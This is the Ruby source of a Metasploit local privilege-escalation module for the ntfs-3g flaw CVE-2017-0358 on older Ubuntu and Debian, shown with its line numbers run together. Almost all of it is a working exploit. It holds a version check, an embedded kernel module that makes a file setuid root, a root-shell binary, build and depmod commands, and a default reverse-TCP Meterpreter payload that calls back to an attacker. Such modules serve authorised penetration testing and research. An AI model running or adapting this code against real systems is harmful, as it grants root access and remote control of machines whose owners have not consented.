Path: blob/master/modules/exploits/linux/local/ntfs3g_priv_esc.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Exploit::EXE9include Msf::Post::File10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => 'Debian/Ubuntu ntfs-3g Local Privilege Escalation',18'Description' => %q{19ntfs-3g mount helper in Ubuntu 16.04, 16.10, Debian 7, 8, and possibly 9 does not properly sanitize the environment when executing modprobe.20This can be abused to load a kernel module and execute a binary payload as the root user.21},22'License' => MSF_LICENSE,23'Author' => [24'[email protected]', # discovery25'h00die <[email protected]>' # metasploit module26],27'Platform' => [ 'linux' ],28'Arch' => [ ARCH_X86, ARCH_X64 ],29'SessionTypes' => [ 'shell', 'meterpreter' ],30'References' => [31[ 'CVE', '2017-0358' ],32[ 'EDB', '41356' ],33[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1072' ]34],35'Targets' => [36[ 'Linux x86', { 'Arch' => ARCH_X86 } ],37[ 'Linux x64', { 'Arch' => ARCH_X64 } ]38],39'DefaultOptions' => {40'payload' => 'linux/x64/meterpreter/reverse_tcp',41'PrependFork' => true,42},43'DefaultTarget' => 1,44'DisclosureDate' => '2017-01-05',45'Privileged' => true,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51}52)53)54register_advanced_options [55OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])56]57end5859def check60# check if linux headers were installed on Debian (not ubuntu). The 'common' headers won't work.61def headers_installed?()62output = cmd_exec('dpkg -l | grep \'^ii\' | grep linux-headers.*[^common]{7}')63if output64if output.include?('linux-headers')65return true66else67print_error('Linux kernel headers not available, compiling will fail.')68return false69end70end71false72end7374output = cmd_exec('dpkg -l ntfs-3g | grep \'^ii\'')75if output76if output.include?('1:2015.3.14AR.1-1build1') # Ubuntu 16.04 LTS77print_good('Vulnerable Ubuntu 16.04 detected')78CheckCode::Appears79elsif output.include?('1:2016.2.22AR.1-3') # Ubuntu 16.1080print_good('Vulnerable Ubuntu 16.10 detected')81CheckCode::Appears82elsif output.include?('1:2012.1.15AR.5-2.1+deb7u2') # Debian Wheezy, we also need linux-source installed83print_good('Vulnerable Debian 7 (wheezy) detected')84if headers_installed?()85CheckCode::Appears86else87CheckCode::Safe88end89CheckCode::Appears90elsif output.include?('1:2014.2.15AR.2-1+deb8u2') # Debian Jessie, we also need linux-source installed91print_good('Vulnerable Debian 8 (jessie) detected')92if headers_installed?()93CheckCode::Appears94else95CheckCode::Safe96end97CheckCode::Appears98else99print_error("Version installed not vulnerable: #{output}")100CheckCode::Safe101end102else103print_error('ntfs-3g not installed')104CheckCode::Safe105end106end107108def exploit109def upload_and_compile(filename, file_path, file_content, compile = nil)110rm_f "#{file_path}"111if not compile.nil?112rm_f "#{file_path}.c"113vprint_status("Writing #{filename} to #{file_path}.c")114write_file("#{file_path}.c", file_content)115register_file_for_cleanup("#{file_path}.c")116output = cmd_exec(compile)117if output != ''118print_error(output)119fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")120end121else122vprint_status("Writing #{filename} to #{file_path}")123write_file(file_path, file_content)124end125cmd_exec("chmod +x #{file_path}");126register_file_for_cleanup(file_path)127end128129# These are direct copies of the modules from EDB130rootmod = %q{131#include <linux/module.h>132#include <linux/kernel.h>133#include <linux/cred.h>134#include <linux/syscalls.h>135#include <linux/kallsyms.h>136137static int suidfile_fd = -1;138module_param(suidfile_fd, int, 0);139140static int __init init_rootmod(void) {141int (*sys_fchown_)(int fd, int uid, int gid);142int (*sys_fchmod_)(int fd, int mode);143const struct cred *kcred, *oldcred;144145sys_fchown_ = (void*)kallsyms_lookup_name("sys_fchown");146sys_fchmod_ = (void*)kallsyms_lookup_name("sys_fchmod");147148printk(KERN_INFO "rootmod loading\n");149kcred = prepare_kernel_cred(NULL);150oldcred = override_creds(kcred);151sys_fchown_(suidfile_fd, 0, 0);152sys_fchmod_(suidfile_fd, 06755);153revert_creds(oldcred);154return -ELOOP; /* fake error because we don't actually want to end up with a loaded module */155}156157static void __exit cleanup_rootmod(void) {}158159module_init(init_rootmod);160module_exit(cleanup_rootmod);161162MODULE_LICENSE("GPL v2");163}164165rootshell = %q{166#include <unistd.h>167#include <err.h>168#include <stdio.h>169#include <sys/types.h>170171int main(void) {172if (setuid(0) || setgid(0))173err(1, "setuid/setgid");174fputs("we have root privs now...\n", stderr);175execl("/bin/bash", "bash", NULL);176err(1, "execl");177}178}179180# we moved sploit.c off since it was so big to the external sources folder181path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-0358', 'sploit.c')182fd = ::File.open(path, "rb")183sploit = fd.read(fd.stat.size)184fd.close185186rootmod_filename = 'rootmod'187rootmod_path = "#{datastore['WritableDir']}/#{rootmod_filename}"188rootshell_filename = 'rootshell'189rootshell_path = "#{datastore['WritableDir']}/#{rootshell_filename}"190sploit_filename = 'sploit'191sploit_path = "#{datastore['WritableDir']}/#{sploit_filename}"192payload_filename = rand_text_alpha(8)193payload_path = "#{datastore['WritableDir']}/#{payload_filename}"194195if check != CheckCode::Appears196fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')197end198199def has_prereqs?()200def check_gcc?()201gcc = cmd_exec('which gcc')202if gcc.include?('gcc')203vprint_good('gcc is installed')204return true205else206print_error('gcc is not installed. Compiling will fail.')207return false208end209end210211def check_make?()212make = cmd_exec('which make')213if make.include?('make')214vprint_good('make is installed')215return true216else217print_error('make is not installed. Compiling will fail.')218return false219end220end221222return check_make?() && check_gcc?()223end224225if has_prereqs?()226vprint_status('Live compiling exploit on system')227else228fail_with(Failure::Unknown, 'make and gcc required on system to build exploit for kernel')229end230231# make our substitutions so things are dynamic232rootshell.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,233"return execl(\"#{payload_path}\", \"\", NULL);") # launch our payload, and do it in a return to not freeze the executable234print_status('Writing files to target')235cmd_exec("cd #{datastore['WritableDir']}")236237# write all the files and compile. This is equivalent to the original compile.sh238# gcc -o rootshell rootshell.c -Wall239upload_and_compile('rootshell', rootshell_path, rootshell, "gcc -o #{rootshell_filename} #{rootshell_filename}.c -Wall")240# gcc -o sploit sploit.c -Wall -std=gnu99241upload_and_compile('sploit', sploit_path, sploit, "gcc -o #{sploit_filename} #{sploit_filename}.c -Wall -std=gnu99")242# make -C /lib/modules/$(uname -r)/build M=$(pwd) modules243upload_and_compile('rootmod', "#{rootmod_path}.c", rootmod, nil)244upload_and_compile('Makefile', "#{datastore['WritableDir']}/Makefile", 'obj-m := rootmod.o', nil)245cmd_exec('make -C /lib/modules/$(uname -r)/build M=$(pwd) modules')246upload_and_compile('payload', payload_path, generate_payload_exe)247248# This is equivalent to the 2nd half of the compile.sh file249cmd_exec('mkdir -p depmod_tmp/lib/modules/$(uname -r)')250cmd_exec('cp rootmod.ko depmod_tmp/lib/modules/$(uname -r)/')251cmd_exec('/sbin/depmod -b depmod_tmp/')252cmd_exec('cp depmod_tmp/lib/modules/$(uname -r)/*.bin .')253cmd_exec('rm -rf depmod_tmp')254255register_file_for_cleanup("#{rootmod_path}.ko")256register_file_for_cleanup("#{rootmod_path}.mod.c")257register_file_for_cleanup("#{rootmod_path}.mod.o")258register_file_for_cleanup("#{rootmod_path}.o")259260# and here we go!261print_status('Starting execution of priv esc.')262output = cmd_exec(sploit_path)263unless session_created?264# this could also be output.include?('we have root privs now...'), however session_created handles some additional cases like elevation happened,265# but binary payload was caught, or NIPS shut down the callback etc.266vprint_error(output)267end268end269270def on_new_session(session)271# if we don't /bin/bash here, our payload times out272# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400273# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died274session.shell_command_token('/bin/bash')275super276end277end278279280